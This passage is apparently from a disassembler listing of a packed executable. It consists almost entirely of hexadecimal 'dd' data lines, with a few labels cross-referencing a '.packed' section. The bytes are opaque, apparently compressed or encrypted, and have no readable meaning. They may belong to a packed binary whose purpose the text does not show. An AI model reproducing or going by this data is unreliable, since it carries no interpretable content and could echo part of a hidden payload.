		dd 0A25DA35Ch, 0CA41181h, 0D4AF7A44h, 0DD7544A0h, 17FCD07h
		dd 3F0441FBh, 5DE9EC91h, 81B9FB2h, 39780C46h, 0D5730C36h
		dd 87A1689Ch, 5195219Ah, 1B4D120Ch, 0E83108D4h,	44719173h
		dd 0B3B21D95h, 5AB66FBCh, 10948F12h, 99E9F020h,	5B45FD1Eh
		dd 2F65C7E5h, 22E23A9Ch, 3B18C3B0h, 0EDC073C3h,	2B7883C9h
		dd 0F814CE50h, 2FB2B25h, 7003733Eh, 3B29C111h, 0ED1B75F1h
		dd 488921FBh, 24E3C87h,	44150A26h, 976BE932h, 7600035Dh
		dd 912F565h, 5C28B4E8h,	0D6194A43h, 5520452Bh, 38800403h
		dd 0A84773FEh, 1D9F8C7Ch, 99ACA359h, 9D213874h,	78633B9Dh
		dd 0BCEC7054h, 0E410B5CDh, 56E1536Bh, 2CCD1613h, 0AE9BBB51h
		dd 1A505004h, 75CE0D3Bh, 2EEB06FEh, 70828470h, 53F3A67Eh
		dd 0AE32C220h, 30C4037Dh, 0FC2F58DFh, 9CF6A31Eh, 872F232Ah
		dd 29090CCFh, 69081665h, 8166109h, 27013A23h, 0FA28DA71h
		dd 0B69081B0h, 0A158896Fh, 558D0449h, 52C8AA84h, 8FF38651h
		dd 0C94D5971h, 1CBDD373h, 1137249h, 0F12AD2C3h,	0C11250E2h
		dd 3B7F02D5h, 0AF3E48C7h, 0C30B8AC5h, 0A4C0E0Ah, 45FC3774h
		dd 0ECC15259h, 0C52B292Eh, 1D4B35BFh, 1CEA0A18h, 1CFB623Bh
		dd 0AE935775h, 0FE1427F6h, 6B2B5308h, 49A0E1CDh, 19753885h
		dd 6905AB38h, 0E91F0474h, 5E39E787h, 1FE92A7Fh,	0FDD7553Ch
		dd 171953DFh, 93E0C64Ah, 477321Fh, 464618E9h, 0EB791D60h
		dd 987E3905h, 95A4913Fh, 0B03A941Eh, 0B81B8C4Bh, 7D10884Ah
		dd 0A69341ACh, 74622F76h, 9FA1A840h, 20053993h,	9D3201BCh
		dd 0FAAE311Dh, 0F480E31h, 99038A9Fh, 0D96712EBh, 9119401Ch
		dd 669148ECh, 7AD74A91h, 69060836h, 0ACA8C10Ch,	0A0D92781h
		dd 0C334F112h, 817D1AC9h, 9084DFD0h, 4C8D9DFDh,	45D39A6Ah
		dd 7C969964h, 0F940A023h, 92777D39h, 89C7EA38h,	8EFCDECFh
		dd 0C347A8BBh, 0C62BE588h, 27D8F9Ah, 1D55D85Ch,	4F8F3076h
		dd 34BFF04h, 0EEDE8ECEh, 8E089219h, 6C8B9B26h, 0F32BAD1Ah
		dd 528E7A68h, 0DE457973h, 63378694h, 2CFBC72Bh,	6B092770h
		dd 3FAB050Dh, 0D877E082h, 0C3403C40h, 6EFE59F4h, 0B8127F4Ch
		dd 0D4FBD754h, 96E82727h, 0F1DD418Bh, 0CDF06589h, 0CF83FC75h
		dd 0C7E81F13h, 99759DEDh, 0E01027F9h, 259478Dh,	33C54196h
		dd 61C14B16h, 57823EBh,	0E816EC8Ch, 771BA2D0h, 519B552h
		dd 40E0B3B8h, 0C98ACF96h, 310FE872h, 0BEC0D4F2h, 9617BE0Dh
		dd 8DCB8ED2h, 14546B50h, 7A1292ACh, 141665FCh, 5FC9BE46h
		dd 676A9B74h, 225096h, 20802225h, 0F6DF47C1h, 9377D041h
		dd 0EE22FB70h, 89BDD660h, 0BDC5F44Dh, 8E755B13h, 41B39412h
		dd 49546C65h, 6B7159E8h, 0E37E62B2h, 212A2D5Dh,	0C889EB70h
		dd 1927628Ah, 11203C15h, 0FDF26D51h, 96521704h,	13B69EBCh
		dd 0C641126h, 7FADE3CDh
		dd 3B90C1DAh, 0BAA08EB1h, 0BE17D4Eh, 5A40002Ch,	5F607C3h
		dd 0B4F375Ch, 800A0E5Ch, 0C39C090Dh, 0A1CF1065h, 4491302Ch
		dd 0A306C06Ah, 4E5D9C13h, 8009F0A6h, 8DCA307Dh,	4D2640D0h
		dd 416C20Fh, 0FE94501Dh, 612C2EBBh, 0B780281Fh,	18538DC1h
		dd 77D0193Bh, 9C023514h, 0BF3F3330h, 5D898943h,	14EE611Ch
		dd 8A996931h, 9FFD57E8h, 20714D1Ah, 33CCC61Ch, 3060DA01h
		dd 0FC167D76h, 5DDC250Bh, 28400FE6h, 611E180h, 6FE9718Dh
		dd 9FC13513h, 0D9DF1C7Dh, 78975724h, 0C1E8F018h, 94B1943h
		dd 44D76A9Ah, 9E28E6C1h, 0BFB44468h, 0F921B2CDh, 38399698h
		dd 31CE3875h, 0D984D7E8h, 5882A910h, 5A253188h,	2686DF2Bh
		dd 0ABFE032Ch, 0EC965363h, 0B8BE6C18h, 0BEC5087Bh, 4DCC2BE8h
		dd 0FEB242Ch, 0B283A14h, 593D4438h, 0ED8B325Fh,	2060DC1Ch
		dd 850CD821h, 0E3913068h, 2C5812CCh, 72113253h,	31BE38B3h
		dd 4A744020h, 0BED82BA5h, 6868DF40h, 0B9AB4734h, 0D15E09ADh
		dd 0BDC12466h, 0EFC7E107h, 241C29F1h, 389A891Dh, 681C182Dh
		dd 0DD499DA0h, 43ACD7A1h, 8502C627h, 24BF4A22h,	290C6240h
		dd 1513A1E2h, 401E5E54h, 68036A3Ch, 0C0130A06h,	754B41C7h
		dd 47AA9F44h, 3C08C3F1h, 486A0B04h, 7984CE50h, 0F0FE4E45h
		dd 4758165Dh, 4E40A289h, 0F68E30Dh, 0BBBE54D1h,	0D26C62Ah
		dd 499D8805h, 4A1A910Fh, 4B0E0B32h, 0C7660321h,	487E223Fh
		dd 9D36AA78h, 450C1352h, 582D9154h, 1310B819h, 30910D5Ah
		dd 0BD28765Ch, 1ACA1E60h, 0C4BC4964h, 13E81401h, 0E0647B18h
		dd 4C18277Ch, 389786Ah,	0F6E8B951h, 24E1236Bh, 2F443C22h
		dd 83CA45C7h, 64506285h, 0DDBF14B7h, 8D2D7D5h, 0F8ADCB12h
		dd 241F8059h, 4856819Fh, 998BBC1Eh, 0D9783EE8h,	4418E640h
		dd 48C91407h, 70E37290h, 1C1BC85Bh, 4E88D010h, 0C320D0B3h
		dd 0BD454F06h, 64466ED7h, 93C09C7Dh, 61348D98h,	0C19412B6h
		dd 0F71F7FE6h, 0D806A058h, 149E2A38h, 0F740CA2h, 0DC2E046Ah
		dd 68D406C2h, 0EB9248A4h, 6402FE10h, 1C452558h,	437C6BE0h
		dd 3A081851h, 0B2066F17h, 0BF2A1006h, 995C9DFAh, 0F9F71698h
		dd 0D00D1EB8h, 0FB279FE8h, 86CA81E5h, 0AE5BB208h, 0B25BD6E8h
		dd 1061E433h, 974478D9h, 590EFC0Bh, 4DE942A2h, 0B4B218ECh
		dd 0A668502Dh, 5B805780h, 8320C9FFh, 448D53EEh,	0E82C1407h
		dd 8619108Fh, 0FD6A9B10h, 0BBC26B03h, 86A70D90h, 116B7F6h
		dd 5C68F051h, 0C087FC5Ch, 8F2C8F07h, 0A150E833h, 0C6B8616h
		dd 68AD435Dh, 0E4D7644Fh, 9C68044Bh, 0CD7E63CCh, 0C5348347h
		dd 6DD762BEh, 4AA43285h, 50679465h, 0F0E61C9Bh,	6324382Ah
		dd 6F135456h, 0D445BBC0h, 26EBAD58h, 0CBB039D2h, 442D8A10h
		dd 4A3A67h, 5A4D5826h, 4C02FC3Fh, 0D7E92983h, 5EEB40A7h
		dd 0F32FE1D8h, 758919D1h, 0FB4B152Ch, 40D5EA40h, 0E92E59E3h
		dd 2BA1AD4Bh, 0C02060A6h, 94E9FE48h, 0E2143EC5h, 8515D518h
		dd 67E1087Fh, 83D6E2A7h, 0C26DDF8Eh, 548C0DD8h,	1B48CFD6h
		dd 0BD22C28h, 461ABEB9h, 0FC8E061Ch, 15720C5h, 0E8185EB7h
		dd 9838499Dh, 20AA1464h, 0AE0354A8h, 0C640FA74h, 15FB7510h
		dd 0F18099Dh, 0FCC66919h, 15770A07h, 88B46FAFh,	6A324D22h
		dd 0C9B8EC18h, 8044212Dh, 0CDA4478Ch, 3022C618h, 0B9665D18h
		dd 4814BA06h, 527E23BBh, 2C49F1BCh, 0C465C220h,	0CDE0CC0Fh
		dd 841F50CEh, 88FD5EEFh, 2EE3531Eh, 55159DF4h, 0CE99DAB8h
		dd 0AD0B6AB4h, 8D409944h, 38639179h, 7F4AB868h,	0F44561D1h
		dd 0EDDF6121h, 887383CEh, 0B886FAA8h, 395E09C5h, 0AC08B45Dh
		dd 4871AF80h, 68C7EE24h, 1C61A90Bh, 1754B4F2h, 0B46E311h
		dd 0FA03E53Dh, 16095FC1h, 75B9CCC8h, 38BBB45Bh,	0B8A104DCh
		dd 4438E10Bh, 0F8F5828Ah, 3D7042C1h, 1703365Ch,	453DEC91h
		dd 20D7FD3Ch, 18B65263h, 7459E530h, 0D73CA105h,	950F5B89h
		dd 0A070175Ch, 83469705h, 52AAF65Bh, 2034AD8h, 7F8B6BEDh
		dd 7D2C98D3h, 9755288Ch, 25C44EB5h, 3290E81Dh, 54561F2Ch
		dd 0AA4AAF0Dh, 0D80711FBh, 74A2FB83h, 649FF67Ch, 99554B53h
		dd 0BFF974AFh, 567D412Ah, 0A734358Bh, 1F115723h, 0D6419257h
		dd 177EB8A6h, 0F82DC035h, 0C689C40Fh, 8884B6A8h, 0FE602191h
		dd 8019011h, 62034AF4h,	0CC5F6053h, 0D4233864h,	12602143h
		dd 4BFFF753h, 17142CA3h, 3BE6646Ah, 30943845h, 0E5D0EE40h
		dd 0F882DB89h, 3691424h, 1049AD09h, 3A6A22BEh, 26EB8D65h
		dd 25BEB3D9h, 98CB512Fh, 0C481B7E4h, 8825C06Ah,	34A11592h
		dd 0CABBB32Fh, 205E943h, 25E9B872h, 3F5B4012h, 0FBC01142h
		dd 0C54784EEh, 1FA41831h, 0F102B211h, 0F51BD2E1h, 572434FEh
		dd 0F333F8CBh, 56F8FF50h, 0AB78CC97h, 998E5F01h, 2242BDDh
		dd 25226ACh, 0FEF7888Fh, 33DDD75h, 34E4227Eh, 7C6A861Ch
		dd 19EB2803h, 13681B98h, 4AF7812h, 0B2FE192h, 75297AB4h
		dd 0EB42A30Ah, 680A903Eh, 5F215D6Bh, 0D35E1051h, 51E95321h
		dd 0E21A72DFh, 0B151E109h, 0C9051412h, 39A021EBh, 9E6D610h
		dd 0EF525745h, 67AB185Bh, 0E913B6E1h, 2B750EEAh, 0F8F0033Eh
		dd 36DB7F2Ah, 0F9F7C365h, 7D283926h, 0C7ADA74h,	0C707867Dh
		dd 0C62B197Ah, 0A1188D50h, 0D8924388h, 1033F3E6h, 82040C91h
		dd 0D97CF73Bh, 10492339h, 6609024Ch, 0C1298CA1h, 48804F0Dh
		dd 1D925E1Ch, 6C95FE7Ch, 2F219102h, 34924274h, 51D453F2h
		dd 5058B8A3h, 748A4B18h, 37FBB620h, 5B744245h, 9C2FD1A1h
		dd 2166E9E4h, 104257CBh, 120C6AC8h, 65A30BE8h, 0FD7F444Bh
		dd 80E02001h, 0F4D45E65h, 9C9D85Dh, 0A44182C8h,	13712144h
		dd 0C5AF1501h, 0D887837Ch, 76F24B58h, 0A740318h, 9F08E00Ch
		dd 4CA32BD9h, 59FEF808h, 56F10DB1h, 0E2A92D90h,	46FE199Bh
		dd 0CB432FD8h, 0DC84619Ch, 7B48046Ah, 8B126D71h, 7A09BF07h
		dd 0DC87A7Eh, 0BECF23D0h, 0EAB54015h, 0CA6E0B10h, 0E7E2EE1Ch
		dd 0E9CC623h, 14086EE9h, 4D892278h, 3B8DDC50h, 68BA168Bh
		dd 799AA2ACh, 23154AA5h, 6AE40861h, 0E71A9018h,	0E44D4058h
		dd 8A0DD233h, 0B5B8E555h, 8E1B680h, 2366D132h, 0E733D03Ah
		dd 8982E62Eh, 0E71BA555h, 89EC1638h, 8DED08E6h,	0EC21EE11h
		dd 0F0A2EF11h, 0F122EE24h, 0F0F84434h, 0EFF3C1EEh, 0CA91C7FAh
		dd 0CA12A1C2h, 0E72CE1Eh, 0C2CA99E8h, 846C176Ah, 0D009BB8Ch
		dd 331571Eh, 72B54256h,	0C171AD1h, 0E025EDB9h, 90B785D0h
		dd 2D68D819h, 5A54A4A0h, 0B5FECF50h, 1B22659Ah,	0E476B8B5h
		dd 31FA4545h, 48AEF9F5h, 1CA440F1h, 6CB154C4h, 84FE6412h
		dd 5900D2A9h, 460601C5h, 9B2202EBh, 6B64A5EFh, 5084A9BDh
		dd 24D89110h, 7EF604B1h, 61ECF80Eh, 0DAE8141Eh,	80CFF37Ch
		dd 0B470376Bh, 8D6EB3B5h, 0FB89E2ADh, 94AC6BF3h, 354D5D91h
		dd 8DE27EC1h, 0CD056E4Dh, 23265051h, 4FBC433Dh,	0C6EBF845h
		dd 0EDAC4375h, 51A4565Fh, 0B0A24BA1h, 90155A1Ah, 7E3EC573h
		dd 0A16B64D8h, 0D8691CE4h, 0A9BEEB88h, 8B2F1C4Bh, 512827D2h
		dd 0D0E410E6h, 46EE72DDh, 1C287EB7h, 6BB22698h,	1A38B9D0h
		dd 7DA64BF6h, 92F58A7Eh, 1397C571h, 0D328B856h,	24AE7864h
		dd 0C5E3842Eh, 4085E350h, 0BA90521h, 1D8B10B0h,	325349D0h
		dd 0EE933527h, 1C174C8Dh, 98A4A369h, 0CEF46CCCh, 0EAEDA468h
		dd 0D00BDBB8h, 5B9FA9FCh, 89164BB6h, 0D3970A7Dh, 24B44422h
		dd 6AD3E730h, 8426C844h
		dd 0F57EE806h, 35A15144h, 800FA114h, 652374BCh,	0B1EAC010h
		dd 43C4F962h, 8A15509Dh, 194C4484h, 669B01B0h, 0CCFDD204h
		dd 5189DADFh, 0D192B35h, 0FA62461h, 0EA84C7CDh,	7E262D9Fh
		dd 8CD3E904h, 0C0C4E6BCh, 0CDFE16A4h, 0E82094F2h, 0EE181F21h
		dd 7125B76Bh, 0ECE6B287h, 0EDD51998h, 0C56A978Dh, 4EFFE989h
		dd 0F85B8B34h, 9180D21Ah, 219EC0Ah, 0E8ED613h, 912857AAh
		dd 0B89D40C4h, 142EDE84h, 0B0C808BCh, 7561B4E4h, 0D80542DCh
		dd 53EEE904h, 6D68E35Dh, 0C230A12h, 0A2CCE80Ch,	0A316590Ah
		dd 0DCFF5DC4h, 648C04Bh, 1827B2ECh, 438EFF50h, 53ECC4DBh
		dd 29F42E04h, 0B5C11FAh, 0C4EB5324h, 9117FAEEh,	7FC36664h
		dd 0FE3BD0CEh, 39450E75h, 20A9E45Dh, 5AED14F7h,	6E74EBE0h
		dd 0A23431AFh, 0D60AA7ABh, 695A70F1h, 54342183h, 12C8BA08h
		dd 0D30EFD59h, 41146B10h, 51D87A8Ch, 3DCC45B8h,	495726F5h
		dd 0BBC63BC1h, 0BB60DA49h, 81A7E1CFh, 3D065879h, 28162740h
		dd 2AC44774h, 46807539h, 3C22A256h, 6468DA21h, 3256323Ah
		dd 41C03E9Ah, 3A91A192h, 8248ED68h, 848793A0h, 7B54750Ah
		dd 27457448h, 7B6A8264h, 0B2AAA711h, 0BF211C5Fh, 2585E9C7h
		dd 84239957h, 0D4840FC2h, 8910F9D8h, 4DB83DBEh,	0D1A94FEDh
		dd 323257CBh, 841DC54h,	1C7AE674h, 21750732h, 7C7E0A6Ah
		dd 0E1842947h, 0D590A67h, 0EA66A44h, 9176EA5Bh,	96741CA7h
		dd 22326D56h, 68BC38B9h, 62C88825h, 3D5CF940h, 137E9147h
		dd 9B2467FEh, 0C0232146h, 0BE2135C9h, 0C99028B6h, 0F58B4337h
		dd 0AA49EA05h, 4FDE72E9h, 95E7ED57h, 0DEC6C900h, 0A70F860h
		dd 0E932485h, 1B1AA9B9h, 200E0275h, 62B077F9h, 208402A0h
		dd 7BA2F590h, 2702F955h, 6C838F0h, 0FFDC16D4h, 35FDF708h
		dd 15EA880Dh, 2F4B0C5Bh, 437D7953h, 0D5B1035h, 46A5DC0h
		dd 0B5BF4B51h, 8210AFBCh, 5FF84515h, 5FD4FFA4h,	0C36B62E7h
		dd 0F0BA55Eh, 682154DCh, 67149BA7h, 0EB20BAD5h,	0E1B86583h
		dd 0B4349669h, 0D932E7FCh, 0E8141851h, 8B070132h, 54BE9C3h
		dd 290AB799h, 9D89111Ch, 0EF609149h, 0BD0CA040h, 0C8F68AC8h
		dd 8D416A05h, 7BD7A834h, 0CA37FB74h, 640A20D0h,	0BB500257h
		dd 35AAA124h, 0F93B3208h, 0DFA1125Dh, 0C77CA8A2h, 64492CF0h
		dd 0B6FD20D8h, 0F0910D2Fh, 0AF0F07D0h, 0A582C8D0h, 4984BED0h
		dd 44E81BDh, 232F02B5h,	8128A720h, 752DD83Bh, 41208B6Ch
		dd 317A1054h, 14FEC8CAh, 895429B1h, 227E6962h, 9890958Bh
		dd 5895C933h, 390E0AC3h, 42B08D84h, 69550574h, 880F269h
		dd 0FA831275h, 0D297340h, 28391789h, 3B502A85h,	8E957EADh
		dd 0F01B746h, 0A5386815h, 0D30BA42Bh, 9136E932h, 0AA6B256h
		dd 34441C9Fh, 8B487F30h, 0E85D8D55h, 7604CE3Bh,	85BC3930h
		dd 0F9401C31h, 20EB00C1h, 858C198Bh, 0DE8921CCh, 432A17A8h
		dd 393F4940h, 570C54E6h, 0E961649Ch, 0B23F03D9h, 9DFA91C1h
		dd 681F6AE9h, 0E87A7EE8h, 180F889Dh
		db 42h
byte_504341	db 68h,	58h, 0A2h	; DATA XREF: .packed:off_43DECCo
		dd 0DD029C11h, 758BEED9h
		db 0Dh,	5Dh, 61h
byte_50434F	db 63h			; DATA XREF: .packed:off_43DEC8o
		dd 0E92B8D60h, 25188880h, 77458678h, 84F7C97Bh,	80681449h
		dd 431C5C22h, 0EE532198h, 22A06864h, 0B0431C38h, 10E12F21h
		dd 1408B868h, 0C8CC1087h, 681E780Bh, 0F010D042h, 62B8B702h
		dd 243901E7h, 5468EB58h, 85D017F6h, 68137730h, 0B54384F8h
		dd 22A60C84h, 121515ACh, 3B952917h, 24A614E2h, 8628387Ah
		dd 37897142h, 30BEBE83h, 109F2749h, 6495FED8h, 0FE210941h
		dd 59DCE8E8h, 1046E4C5h, 0D38BE44Ch, 97902558h,	4E2FE929h
		dd 23325C44h, 0D22A5C14h, 4E64BE14h, 22FF3884h,	7E508F66h
		dd 0E8A43CE2h, 0F404FD3h, 41AF53EBh, 0E29C7C21h, 57F42F23h
		dd 2C5C5038h, 458F46B5h, 1372E04h, 5E09E846h, 987534E0h
		dd 39A98404h, 0CD103BF9h, 0CD09DF28h, 213851EFh, 0BEAABF3Eh
		dd 6A08140Fh, 44932032h, 11ED4C36h, 611042C7h, 0AC68F412h
		dd 0F2E54451h, 2666FDC2h, 0CC8C1782h, 0FC52C353h, 9F7A474Ah
		dd 0B468C405h, 64B23348h, 1D608024h, 2184C068h,	0E064011Ah
		dd 0D1961132h, 5084E045h, 52E86828h, 0EFD3D90Dh, 19428FB3h
		dd 8CF8654Ah, 0B445C876h, 82C414A0h, 1444F720h,	62EA27A7h
		dd 0B5390C84h, 755B42BEh, 1D925623h, 23FFB9D0h,	0C5383B1Ah
		dd 84271CAEh, 0A2A43AE8h, 435B78EFh, 0C26AFE89h, 73A08F15h
		dd 0A7306817h, 905C8586h, 0F1F4C448h, 0A3DEC43Ah, 427E4BB6h
		dd 619610F7h, 0E4055F78h, 0EB3159E6h, 6820C62Ch, 1F4A2FC6h
		dd 4F8CE5FBh, 267C165Eh, 420BC60Dh, 94681B15h, 0CB3C9684h
		dd 7EEB54C6h, 0B33B5F47h, 148E1890h, 97D6E9DFh,	435B4F09h
		dd 9154DB27h, 81D94AA0h, 0D7FAE82Bh, 126AE34Eh,	44B562ACh
		dd 0B1CCA3CCh, 3F722B67h, 0C14A428h, 0EAA53EBCh, 212B67B5h
		dd 4435FF29h, 0B22EAC28h, 3811B116h, 8450C16h, 0AE5CFCA5h
		dd 651FD925h, 0FCD8CC05h, 85FDFE5Eh, 0F3F5F0DAh, 531422C0h
		dd 0DB1CEBB0h, 0B1772FEAh, 46D060DAh, 7510090Ch, 8A79573Eh
		dd 51C8A4A0h, 0A7032DFAh, 0AC85E7A7h, 6510D0B5h, 8C2C578Ch
		dd 504B8B40h, 3D0031CDh, 95FC974h, 0C2E9E856h, 749D3D28h
		dd 0FEE3404Bh, 28F0B80Dh, 0F5A06042h, 0B9E2339Ch, 183173ECh
		dd 0DB33BD14h, 13F44B5h, 89534610h, 2B03ACB0h, 0F4503222h
		dd 54E805E6h, 21DAA7EAh, 0FDA408DCh, 0E002DEF9h, 0A7B59416h
		dd 14EB2862h, 0FDAC85F0h, 42569AB4h, 498892DCh,	9251D734h
		dd 0CA7B7F17h, 1F541522h, 599CEC7Dh, 0A6312450h, 8B064419h
		dd 0DCBDDEC3h, 9DCF1DFEh, 2232A7D8h, 0ACF6DF0Bh, 376E662Ch
		dd 3BFE99BAh, 85BD92D2h, 93D5400Ah, 5B8611BEh, 998ABF8Ah
		dd 4D086D33h, 74BD8828h, 0FD22252Fh, 6631028Fh,	700EF402h
		dd 86A51CACh, 9446614h,	64DB85C9h, 0FEDC23F7h, 874CB11h
		dd 0FB831975h, 17401411h, 56A2A68Bh, 34AA943h, 2C860FFEh
		dd 206754Bh, 0BD1124E9h, 0A46EF456h, 0D313FFD7h, 0CC94EE12h
		dd 0E75A1033h, 0FCDF2133h, 2141A3E6h, 50562284h, 0C7EDA957h
		dd 7BB94C7Fh, 0D284A06Ah, 2C30E5A8h, 4884322h, 0C33B401Fh
		dd 27C5E906h, 0E0082596h, 708B68FEh, 4B7B8D40h,	0E41D279Ch
		dd 0E91D93ABh, 0F11251B5h, 59D0A136h, 678E5FC4h, 33A29654h
		dd 0C019B1C8h, 32FDDBB7h, 8A2170D0h, 1A403D84h,	0F2880A3Ch
		dd 0B0A9A435h, 1896452Ch, 0B84C68B5h, 0EF27C5D4h, 5274BF98h
		dd 2463174Fh, 8900BFD5h, 765905F8h, 0D6BE683Dh,	0AF21A47h
		dd 0CC43331h, 0C7EE45F4h, 93EC1023h, 0FADCE1A4h, 1A7F91B2h
		dd 0EB822250h, 0CC339917h, 0FA53F10Ch, 68351266h, 37384725h
		dd 0C08F1A8h, 0C52361BEh, 46504704h, 8140C0C4h,	0F59F83Bh
		dd 7F69B582h, 0CE143AE9h, 3676C23Ah, 131C4C8Bh,	0D5084D3Bh
		dd 0EF39025Bh, 364523EBh, 0A0B0277Bh, 0B5E852A7h, 1D3A8DBEh
		dd 1D2CE7A7h, 8109CB03h, 0B84D13FEh, 7D833D73h,	80E4B565h
		dd 69ACC391h, 84C9C5A4h, 3450AC3Dh, 2CB81899h, 624FD1A6h
		dd 5D14E847h, 0EB2F8366h, 2ABA5D09h, 0E8B13058h, 0FD4B8641h
		dd 0B6B1013h, 0C10B572Ah, 105122D4h, 0D0219829h, 0C1EC5C88h
		dd 9FDB49Dh, 1011597Ch,	0B0B514F7h, 0FA188468h,	0EA10EB27h
		dd 9E4A46E8h, 18109862h, 59815BFEh, 0ACA16978h,	0BB5611FDh
		dd 5C718B6Eh, 843C5857h, 17441654h, 3B8F35F1h, 9790B42Dh
		dd 33B880C7h, 96417395h, 0B0738C38h, 0B072FA45h, 613C1865h
		dd 11F9AC84h, 2795B3E8h, 10128033h, 0BE25AE39h,	5B50A2EEh
		dd 0F81011A8h, 0A804C4A7h, 4B4C8E23h, 98451DD7h, 0C2F9BE13h
		dd 0C466A12h, 5731204Bh, 22FC7CE3h, 0E76997D8h,	3428901Eh
		dd 8330D4A2h, 9C487CBDh, 0E69864F6h, 0D1084278h, 17751468h
		dd 0AE98888h, 91684068h, 8C1D4B26h, 41F91B94h, 201D183Bh
		dd 921A942h, 8C142894h,	0E1BD2157h, 234D59C1h, 0FB254C54h
		dd 0CA46BAE3h, 0F6167515h, 0E8831BD0h, 5F710972h, 0F91DEB2Bh
		dd 94175794h, 46D3A21Ah, 471056F0h, 4C3F7D56h, 0B944D9C4h
		dd 8A7B9757h, 0FD08C442h, 0AF6EC732h, 9378F045h, 0B5E9B04Eh
		dd 8992E448h, 1233DA10h, 5E502F38h, 1CAAD147h, 5C1EC608h
		dd 7D15149Ah, 3EE81D30h, 0F68C694h, 0C4C05A49h,	0ABBC3B26h
		dd 77762D20h, 8C7ED1C7h, 23332B47h, 26483931h, 802E1EC7h
		dd 0C133594h, 15247525h, 0E93289F5h, 27F6121Ah,	4610A030h
		dd 1D5284C6h, 0B1203C88h, 1AEB8383h, 2E101F71h,	752F3Ch
		dd 585C6A05h, 0BE0F03EBh, 2288C029h, 461E5A21h,	43504E70h
		dd 0BBC42CE8h, 0A2CA690h, 0CAC69072h, 0FCEC8B4Fh, 187C985Fh
		dd 944444AAh, 14968897h, 0A21E6842h, 53F79311h,	0EF29350Ch
		dd 0C24148B6h, 10F8EA82h, 8F720A74h, 0EB070862h, 5688F77Fh
		dd 0EF1D0C9Bh, 3FE5CA5h, 5FE81BD6h, 9D0C445Fh, 0F37B973Ch
		dd 7719E8BDh, 14226674h, 5C4C55D5h, 0F72B8620h,	88226DF4h
		dd 0C49FC04Ch, 618AE914h, 86D1862h, 0A6B79A16h,	84F572B7h
		dd 8D111C73h, 0A15FFCD0h, 0EB0F8BEEh, 0BFE535Bh, 7EFAE5E9h
		dd 3746AE2h, 64675653h,	65AB8021h, 0CA7DAC5Dh, 0A5D96F30h
		dd 0A159A194h, 64DE4741h, 0DCDC45CAh, 5EAA8589h, 8B42E3F6h
		dd 28FBAF75h, 685605F7h, 73B43324h, 13576529h, 2A1ED236h
		dd 0FC87B495h, 0FB558AD4h, 0B0BABF67h, 0F86D234Eh, 9D3CCD22h
		dd 0FE5C0382h, 12FC96DDh, 0BBD48D8Bh, 0C72390CAh, 0D7C33D95h
		dd 3CA15BA8h, 0A45812F7h, 11500172h, 57D11898h,	59AFB799h
		dd 6AC38418h, 8699AA05h, 26F06258h, 62AFE7EBh, 0DB310594h
		dd 0FA406C1Ch, 0FC5D8053h, 0E8F806C1h, 0E4C2E203h, 8E6832DBh
		dd 0C06157B9h, 27F773F5h, 9B25439h, 50F42274h, 902FBE1Ch
		dd 89FDB820h, 245A590h,	0AEE95295h, 17FCCE23h, 0FE068E5h
		dd 13D96184h, 85B97CE8h, 385C880Ah, 1A32DD11h, 1B58B068h
		dd 20652337h, 53101021h, 0B9B95972h, 3AF7E79Fh,	14B6640Dh
		dd 35F06857h, 0A695EBE3h, 2135436Ch, 0C00CF21Bh, 3C256A31h
		dd 0C6FCA068h, 0F22A3804h, 0A13D2E6h, 594AAB4Fh, 851C0CA1h
		dd 0D021D19Eh, 34A7BC68h, 0BAD76D10h, 9FCF4A11h, 51C51CA9h
		dd 0A5819A7Ch, 9C1BEA50h, 0F97A6D74h, 763F6269h, 14DA26C9h
		dd 54210E66h, 74FCB520h, 0F4E00C5Bh, 83C1E80h, 48027E2Fh
		dd 5040F475h, 45D1964Ch, 0A5E024A0h, 0D6857752h, 0D8792CACh
		dd 88C9E757h, 20C57608h, 4DA3FC78h, 872FF025h, 95F0EF4h
		dd 0F8A4513Ch, 7B61AFECh, 0BF0503D0h, 51392BA4h, 22911E9Dh
		dd 0A47064A7h, 0E5546846h
		dd 0F31DB6C7h, 736C770Bh, 58101B85h, 715902C8h,	0F9D07509h
		dd 350C768Ch, 65F7C1E8h, 49E41C64h, 24035766h, 71795CB9h
		dd 0F00C3D27h, 9D8949ECh, 1F606F7Fh, 51C0B763h,	0F24D0814h
		dd 620C6D96h, 11EE0502h, 0B87785EAh, 68456468h,	0EE21E51Ah
		dd 0CF4CF620h, 381ABD10h, 34F8B4C1h, 5056749Bh,	841F5091h
		dd 0FB702086h, 10BF06F6h, 0A4E6B5FDh, 5B84593h,	0EA1C7415h
		dd 99AC3188h, 0E69588BDh, 87E92840h, 842A8202h,	0DA0C1E8Ah
		dd 0C8464374h, 3F26E145h, 0A2ACA810h, 0E6620257h, 9209EF4Fh
		dd 20761FB6h, 84718592h, 59C86814h, 0FE0D247Dh,	0A1544716h
		dd 3DA436E8h, 591E0A2Ch, 776784Eh, 9BD06834h, 0A4F08DB0h
		dd 0AFE5FC54h, 0E5433892h, 181F0713h, 0A66E19ECh, 1C73AD08h
		dd 2B0183E9h, 7068046Ah, 113A9FADh, 68B0E57Bh, 7A99AD78h
		dd 72475EE5h, 19A9E924h, 2208FC84h, 20AA534Bh, 6B90E89Fh
		dd 0B87F11BDh, 6E949522h, 0EB7B888Ch, 0C856C148h, 0ADB058F7h
		dd 0C40C9587h, 22B53CF1h, 43D0EC56h, 0E4CE11ADh, 1EB4FEE1h
		dd 22B4E084h, 0D888151Fh, 22F865ADh, 1C1A7A54h,	54AA5292h
		dd 98858BF0h, 24E8C188h, 0D060500Ah, 0DBA7AE10h, 9493195h
		dd 3226EB1Ch, 0A31B9E21h, 56512955h, 9E88453h, 434AE6E4h
		dd 0DA392171h, 0B47D6CABh, 0ADDF9B4Bh, 0D0969709h, 25D135E6h
		dd 81E02211h, 0C17A3531h, 88529961h, 0B669F4A6h, 0FC421CA8h
		dd 1526E623h, 0B1AE9470h, 0E1B10B69h, 2E6AEB66h, 74E25274h
		dd 24BF620Fh, 6458961Bh, 0F49714EBh, 14E74839h,	811215AFh
		dd 21009EE1h, 9353D2B3h, 27F0452Fh, 0F60E875Ch,	6A4C9D57h
		dd 9C010603h, 2B554D88h, 1EE16124h, 0F597922Dh,	7DB37EF1h
		dd 31CE563Fh, 2EC63B7Bh, 0F46CEAD2h, 7D94B10h, 0DB9080AEh
		dd 7D3B0C83h, 8B037698h, 0CEED0AD2h, 0D8F7020Bh, 0F49DE9F7h
		dd 7C6CAC15h, 575431BFh, 25BC1442h, 0FA106556h,	0FCB06A3h
		dd 3311837Bh, 2902B45Ah, 94C994DDh, 0B6E8C653h,	205B2567h
